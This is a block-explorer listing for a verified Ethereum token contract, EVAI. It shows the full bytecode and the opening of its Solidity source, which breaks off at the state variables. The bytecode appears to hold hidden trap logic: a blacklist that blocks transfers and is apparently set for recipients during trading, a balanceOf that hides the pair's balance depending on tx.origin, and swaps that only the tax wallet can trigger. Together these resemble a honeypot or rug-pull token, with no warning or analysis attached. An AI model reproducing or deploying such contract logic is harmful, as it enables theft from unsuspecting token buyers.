Address Contract Verified
Address
0xcC115Fb85DC07b7687964eCEaA2996F2f36d0614
Balance
0 ETH
Nonce
1
Code Size
14294 bytes
Creator
0x0c49728D...18f2 at tx 0x4e386714...2957ed
Indexed Transactions
0 (1 on-chain, <1% indexed)
Contract Bytecode
14294 bytes
0x608060405260043610610143575f3560e01c806370a08231116100b557806395d89b411161006e57806395d89b41146103fa578063a9059cbb14610424578063bc33718214610460578063bf474bed14610488578063c9567bf9146104b2578063dd62ed3e146104c85761014a565b806370a0823114610314578063715018a614610350578063751039fc146103665780637d1db4a51461037c5780638da5cb5b146103a65780638f9a55c0146103d05761014a565b806318160ddd1161010757806318160ddd1461023057806323b872dd1461025a578063313ce567146102965780634fab9e4c146102c057806351bc3c85146102d65780635d0044ca146102ec5761014a565b806306fdde031461014e578063095ea7b3146101785780630b7640b8146101b45780630b78f9c0146101de5780630faee56f146102065761014a565b3661014a57005b5f5ffd5b348015610159575f5ffd5b50610162610504565b60405161016f91906128e2565b60405180910390f35b348015610183575f5ffd5b5061019e60048036038101906101999190612993565b610541565b6040516101ab91906129eb565b60405180910390f35b3480156101bf575f5ffd5b506101c861055e565b6040516101d59190612a13565b60405180910390f35b3480156101e9575f5ffd5b5061020460048036038101906101ff9190612a2c565b61057d565b005b348015610211575f5ffd5b5061021a610797565b6040516102279190612a13565b60405180910390f35b34801561023b575f5ffd5b5061024461079d565b6040516102519190612a13565b60405180910390f35b348015610265575f5ffd5b50610280600480360381019061027b9190612a6a565b6107c0565b60405161028d91906129eb565b60405180910390f35b3480156102a1575f5ffd5b506102aa610894565b6040516102b79190612ad5565b60405180910390f35b3480156102cb575f5ffd5b506102d461089c565b005b3480156102e1575f5ffd5b506102ea610de0565b005b3480156102f7575f5ffd5b50610312600480360381019061030d9190612aee565b610e8f565b005b34801561031f575f5ffd5b5061033a60048036038101906103359190612b19565b610f2e565b6040516103479190612a13565b60405180910390f35b34801561035b575f5ffd5b50610364610f8b565b005b348015610371575f5ffd5b5061037a6110db565b005b348015610387575f5ffd5b5061039061120b565b60405161039d9190612a13565b60405180910390f35b3480156103b1575f5ffd5b506103ba611211565b6040516103c79190612b53565b60405180910390f35b3480156103db575f5ffd5b506103e4611238565b6040516103f19190612a13565b60405180910390f35b348015610405575f5ffd5b5061040e61123e565b60405161041b91906128e2565b60405180910390f35b34801561042f575f5ffd5b5061044a60048036038101906104459190612993565b61127b565b60405161045791906129eb565b60405180910390f35b34801561046b575f5ffd5b5061048660048036038101906104819190612aee565b611298565b005b348015610493575f5ffd5b5061049c611337565b6040516104a99190612a13565b60405180910390f35b3480156104bd575f5ffd5b506104c6611356565b005b3480156104d3575f5ffd5b506104ee60048036038101906104e99190612b6c565b6114c7565b6040516104fb9190612a13565b60405180910390f35b60606040518060400160405280600381526020017f4545450000000000000000000000000000000000000000000000000000000000815250905090565b5f61055461054d611549565b8484611550565b6001905092915050565b6009600a61056c9190612d06565b62061a8061057a9190612d50565b81565b610585611549565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610612576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161060990612ddb565b60405180910390fd5b601e82111580156106245750601e8111155b801561063b5750600f5f9054906101000a900460ff165b61067a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067190612e43565b60405180910390fd5b81600881905550806009819055505f6005600954116106d4576106cf60646009600a6106a69190612d06565b633b9aca006106b59190612d50565b60016106c19190612d50565b6116de90919063ffffffff16565b610717565b6107116103e86009600a6106e89190612d06565b633b9aca006106f79190612d50565b60056107039190612d50565b6116de90919063ffffffff16565b600c8190555b90507f29ddd482d71f6b4ad9a6b3978c21b2aa56a029d1de02646578471e24a465cb4583836107796103e86009600a6107509190612d06565b633b9aca0061075f9190612d50565b600561076b9190612d50565b6116de90919063ffffffff16565b841460405161078a93929190612e61565b60405180910390a1505050565b600c5481565b5f6009600a6107ac9190612d06565b633b9aca006107bb9190612d50565b905090565b5f6107cc848484611727565b610889846107d8611549565b610884856040518060600160405280602881526020016137796028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61083b611549565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546121bc9092919063ffffffff16565b611550565b600190509392505050565b5f6009905090565b6108a4611549565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610931576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092890612ddb565b60405180910390fd5b600f5f9054906101000a900460ff1615610980576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097790612ee0565b60405180910390fd5b5f6109dd6109c660646109b85f6009600a61099b9190612d06565b633b9aca006109aa9190612d50565b61221e90919063ffffffff16565b6116de90919063ffffffff16565b6109cf30610f2e565b61229590919063ffffffff16565b9050737a250d5630b4cf539739df2c5dacb4c659f2488d60075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610a7b3060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610a679190612d06565b633b9aca00610a769190612d50565b611550565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ae5573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b099190612f12565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b8f573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bb39190612f12565b6040518363ffffffff1660e01b8152600401610bd0929190612f3d565b6020604051808303815f875af1158015610bec573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c109190612f12565b60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730845f5f610c99611549565b426040518863ffffffff1660e01b8152600401610cbb96959493929190612fa6565b60606040518083038185885af1158015610cd7573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610cfc9190613019565b50505060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610d9c929190613069565b6020604051808303815f875af1158015610db8573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ddc91906130ba565b5050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e20611549565b73ffffffffffffffffffffffffffffffffffffffff1614610e3f575f5ffd5b5f610e4930610f2e565b90505f81118015610e665750600f60029054906101000a900460ff165b15610e7557610e74816122de565b5b5f4790505f811115610e8b57610e8a81612549565b5b5050565b610e97611549565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1b90612ddb565b60405180910390fd5b80600e8190555050565b5f610f38826125b1565b15610f45575f9050610f86565b60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490505b919050565b610f93611549565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611020576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101790612ddb565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6110e3611549565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611170576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116790612ddb565b60405180910390fd5b6009600a61117e9190612d06565b633b9aca0061118d9190612d50565b600d819055506009600a6111a19190612d06565b633b9aca006111b09190612d50565b600e819055507f69ada53addde5123341ce3a822c5f66292103b2771e41e1f3c00c2de8a63a7f96009600a6111e59190612d06565b633b9aca006111f49190612d50565b6040516112019190612a13565b60405180910390a1565b600d5481565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600e5481565b60606040518060400160405280600381526020017f4545450000000000000000000000000000000000000000000000000000000000815250905090565b5f61128e611287611549565b8484611727565b6001905092915050565b6112a0611549565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461132d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132490612ddb565b60405180910390fd5b80600d8190555050565b6009600a6113459190612d06565b623d09006113539190612d50565b81565b61135e611549565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e290612ddb565b60405180910390fd5b600f5f9054906101000a900460ff161561143a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114319061312f565b60405180910390fd5b6001600f60026101000a81548160ff0219169083151502179055506001600f5f6101000a81548160ff0219169083151502179055507f41a09f17206aad1ccd4bae176b5c5e0b2154e569947545c9019e6bb0cb4ef59c600f5f9054906101000a900460ff16600f60029054906101000a900460ff166040516114bd92919061314d565b60405180910390a1565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115b857505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b6115f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ee906131be565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116d19190612a13565b60405180910390a3505050565b5f61171f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612745565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561178f57505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b6117ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117c590613226565b60405180910390fd5b60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615611858576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161184f9061328e565b60405180910390fd5b5f5f9050611864611211565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156118d257506118a2611211565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611f0c57600f5f9054906101000a900460ff166119c55760035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611985575060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b6119c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119bb906132f6565b60405180910390fd5b5b5f600a541115611a6d5760035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1660045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611b16575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b69575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611c2357600d54821115611bb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611baa9061335e565b60405180910390fd5b600e5482611bc085610f2e565b611bca919061337c565b1115611c0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c02906133f9565b60405180910390fd5b600a5f815480929190611c1d90613417565b91905055505b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611cab57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611cef57611ce86064611cda5f600a5411611cc7575f611ccb565b6009545b8561221e90919063ffffffff16565b6116de90919063ffffffff16565b9050611db8565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611d7757503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611db757611db46064611da65f600a5411611d93575f611d97565b6008545b8561221e90919063ffffffff16565b6116de90919063ffffffff16565b90505b5b80600b5f828254611dc9919061337c565b925050819055505f611dda30610f2e565b9050600f60019054906101000a900460ff16158015611e45575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611e5d5750600f60029054906101000a900460ff165b8015611e8357506009600a611e729190612d06565b623d0900611e809190612d50565b81115b8015611e9057505f600a54115b8015611eb857506009600a611ea59190612d06565b62061a80611eb39190612d50565b600b54115b15611f0a575f600c548211611ecd5781611ed1565b600c545b9050611eea818511611ee35784611ee5565b815b6122de565b5f4790505f811115611f0057611eff47612549565b5b5f600b8190555050505b505b5f81111561200b57611f648160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546127a690919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516120029190612a13565b60405180910390a35b61205b8260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461229590919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506120fe6120b2828461229590919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546127a690919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6121a1848661229590919063ffffffff16565b6040516121ae9190612a13565b60405180910390a350505050565b5f838311158290612203576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121fa91906128e2565b60405180910390fd5b505f8385612211919061345e565b9050809150509392505050565b5f5f830361222e575f905061228f565b5f828461223b9190612d50565b905082848261224a91906134be565b1461228a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122819061355e565b60405180910390fd5b809150505b92915050565b5f6122d683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506121bc565b905092915050565b6001600f60016101000a81548160ff0219169083151502179055505f600267ffffffffffffffff8111156123155761231461357c565b5b6040519080825280602002602001820160405280156123435781602001602082028036833780820191505090505b50905030815f8151811061235a576123596135a9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156123fe573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906124229190612f12565b81600181518110612436576124356135a9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061249c3060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611550565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016124fe95949392919061368d565b5f604051808303815f87803b158015612515575f5ffd5b505af1158015612527573d5f5f3e3d5ffd5b50505050505f600f60016101000a81548160ff02191690831515021790555050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f193505050501580156125ad573d5f5f3e3d5ffd5b5050565b5f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156126c657505f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a0823160065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b81526004016126859190612b53565b602060405180830381865afa1580156126a0573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906126c491906136e5565b115b801561271f575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614155b8015612731575061272f32612803565b155b61273b575f61273e565b60015b9050919050565b5f5f8311829061278b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161278291906128e2565b60405180910390fd5b505f838561279991906134be565b9050809150509392505050565b5f5f82846127b4919061337c565b9050838110156127f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127f09061375a565b60405180910390fd5b8091505092915050565b5f5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148061286b575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b9050919050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6128b482612872565b6128be818561287c565b93506128ce81856020860161288c565b6128d78161289a565b840191505092915050565b5f6020820190508181035f8301526128fa81846128aa565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61292f82612906565b9050919050565b61293f81612925565b8114612949575f5ffd5b50565b5f8135905061295a81612936565b92915050565b5f819050919050565b61297281612960565b811461297c575f5ffd5b50565b5f8135905061298d81612969565b92915050565b5f5f604083850312156129a9576129a8612902565b5b5f6129b68582860161294c565b92505060206129c78582860161297f565b9150509250929050565b5f8115159050919050565b6129e5816129d1565b82525050565b5f6020820190506129fe5f8301846129dc565b92915050565b612a0d81612960565b82525050565b5f602082019050612a265f830184612a04565b92915050565b5f5f60408385031215612a4257612a41612902565b5b5f612a4f8582860161297f565b9250506020612a608582860161297f565b9150509250929050565b5f5f5f60608486031215612a8157612a80612902565b5b5f612a8e8682870161294c565b9350506020612a9f8682870161294c565b9250506040612ab08682870161297f565b9150509250925092565b5f60ff82169050919050565b612acf81612aba565b82525050565b5f602082019050612ae85f830184612ac6565b92915050565b5f60208284031215612b0357612b02612902565b5b5f612b108482850161297f565b91505092915050565b5f60208284031215612b2e57612b2d612902565b5b5f612b3b8482850161294c565b91505092915050565b612b4d81612925565b82525050565b5f602082019050612b665f830184612b44565b92915050565b5f5f60408385031215612b8257612b81612902565b5b5f612b8f8582860161294c565b9250506020612ba08582860161294c565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b6001851115612c2c57808604811115612c0857612c07612baa565b5b6001851615612c175780820291505b8081029050612c2585612bd7565b9450612bec565b94509492505050565b5f82612c445760019050612cff565b81612c51575f9050612cff565b8160018114612c675760028114612c7157612ca0565b6001915050612cff565b60ff841115612c8357612c82612baa565b5b8360020a915084821115612c9a57612c99612baa565b5b50612cff565b5060208310610133831016604e8410600b8410161715612cd55782820a905083811115612cd057612ccf612baa565b5b612cff565b612ce28484846001612be3565b92509050818404811115612cf957612cf8612baa565b5b81810290505b9392505050565b5f612d1082612960565b9150612d1b83612aba565b9250612d487fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612c35565b905092915050565b5f612d5a82612960565b9150612d6583612960565b9250828202612d7381612960565b91508282048414831517612d8a57612d89612baa565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612dc560208361287c565b9150612dd082612d91565b602082019050919050565b5f6020820190508181035f830152612df281612db9565b9050919050565b7f457863656564732076616c7565000000000000000000000000000000000000005f82015250565b5f612e2d600d8361287c565b9150612e3882612df9565b602082019050919050565b5f6020820190508181035f830152612e5a81612e21565b9050919050565b5f606082019050612e745f830186612a04565b612e816020830185612a04565b612e8e60408301846129dc565b949350505050565b7f696e697420616c72656164792063616c6c6564000000000000000000000000005f82015250565b5f612eca60138361287c565b9150612ed582612e96565b602082019050919050565b5f6020820190508181035f830152612ef781612ebe565b9050919050565b5f81519050612f0c81612936565b92915050565b5f60208284031215612f2757612f26612902565b5b5f612f3484828501612efe565b91505092915050565b5f604082019050612f505f830185612b44565b612f5d6020830184612b44565b9392505050565b5f819050919050565b5f819050919050565b5f612f90612f8b612f8684612f64565b612f6d565b612960565b9050919050565b612fa081612f76565b82525050565b5f60c082019050612fb95f830189612b44565b612fc66020830188612a04565b612fd36040830187612f97565b612fe06060830186612f97565b612fed6080830185612b44565b612ffa60a0830184612a04565b979650505050505050565b5f8151905061301381612969565b92915050565b5f5f5f606084860312156130305761302f612902565b5b5f61303d86828701613005565b935050602061304e86828701613005565b925050604061305f86828701613005565b9150509250925092565b5f60408201905061307c5f830185612b44565b6130896020830184612a04565b9392505050565b613099816129d1565b81146130a3575f5ffd5b50565b5f815190506130b481613090565b92915050565b5f602082840312156130cf576130ce612902565b5b5f6130dc848285016130a6565b91505092915050565b7f74726164696e6720616c7265616479206f70656e0000000000000000000000005f82015250565b5f61311960148361287c565b9150613124826130e5565b602082019050919050565b5f6020820190508181035f8301526131468161310d565b9050919050565b5f6040820190506131605f8301856129dc565b61316d60208301846129dc565b9392505050565b7f45524332303a20617070726f766520746865207a65726f2061646472657373005f82015250565b5f6131a8601f8361287c565b91506131b382613174565b602082019050919050565b5f6020820190508181035f8301526131d58161319c565b9050919050565b7f45524332303a207472616e7366657220746865207a65726f20616464726573735f82015250565b5f61321060208361287c565b915061321b826131dc565b602082019050919050565b5f6020820190508181035f83015261323d81613204565b9050919050565b7f426c61636b6c69737465640000000000000000000000000000000000000000005f82015250565b5f613278600b8361287c565b915061328382613244565b602082019050919050565b5f6020820190508181035f8301526132a58161326c565b9050919050565b7f74726164696e67206e6f7420796574206f70656e0000000000000000000000005f82015250565b5f6132e060148361287c565b91506132eb826132ac565b602082019050919050565b5f6020820190508181035f83015261330d816132d4565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f61334860198361287c565b915061335382613314565b602082019050919050565b5f6020820190508181035f8301526133758161333c565b9050919050565b5f61338682612960565b915061339183612960565b92508282019050808211156133a9576133a8612baa565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f6133e3601a8361287c565b91506133ee826133af565b602082019050919050565b5f6020820190508181035f830152613410816133d7565b9050919050565b5f61342182612960565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361345357613452612baa565b5b600182019050919050565b5f61346882612960565b915061347383612960565b925082820390508181111561348b5761348a612baa565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6134c882612960565b91506134d383612960565b9250826134e3576134e2613491565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f61354860218361287c565b9150613553826134ee565b604082019050919050565b5f6020820190508181035f8301526135758161353c565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61360881612925565b82525050565b5f61361983836135ff565b60208301905092915050565b5f602082019050919050565b5f61363b826135d6565b61364581856135e0565b9350613650836135f0565b805f5b83811015613680578151613667888261360e565b975061367283613625565b925050600181019050613653565b5085935050505092915050565b5f60a0820190506136a05f830188612a04565b6136ad6020830187612f97565b81810360408301526136bf8186613631565b90506136ce6060830185612b44565b6136db6080830184612a04565b9695505050505050565b5f602082840312156136fa576136f9612902565b5b5f61370784828501613005565b91505092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613744601b8361287c565b915061374f82613710565b602082019050919050565b5f6020820190508181035f83015261377181613738565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220402dc5b5be5e8b80d7f312a0e72d192851adb30845329b00985724f080d88d7364736f6c634300081f0033
Verified Source Code Full Match
Compiler: v0.8.31+commit.fd3a2265
EVM: osaka
Optimization: No
r_3_6.sol 475 lines
// SPDX-License-Identifier: MIT
/**
**/
pragma solidity ^0.8.29;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract EVAI is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private _blacklist;
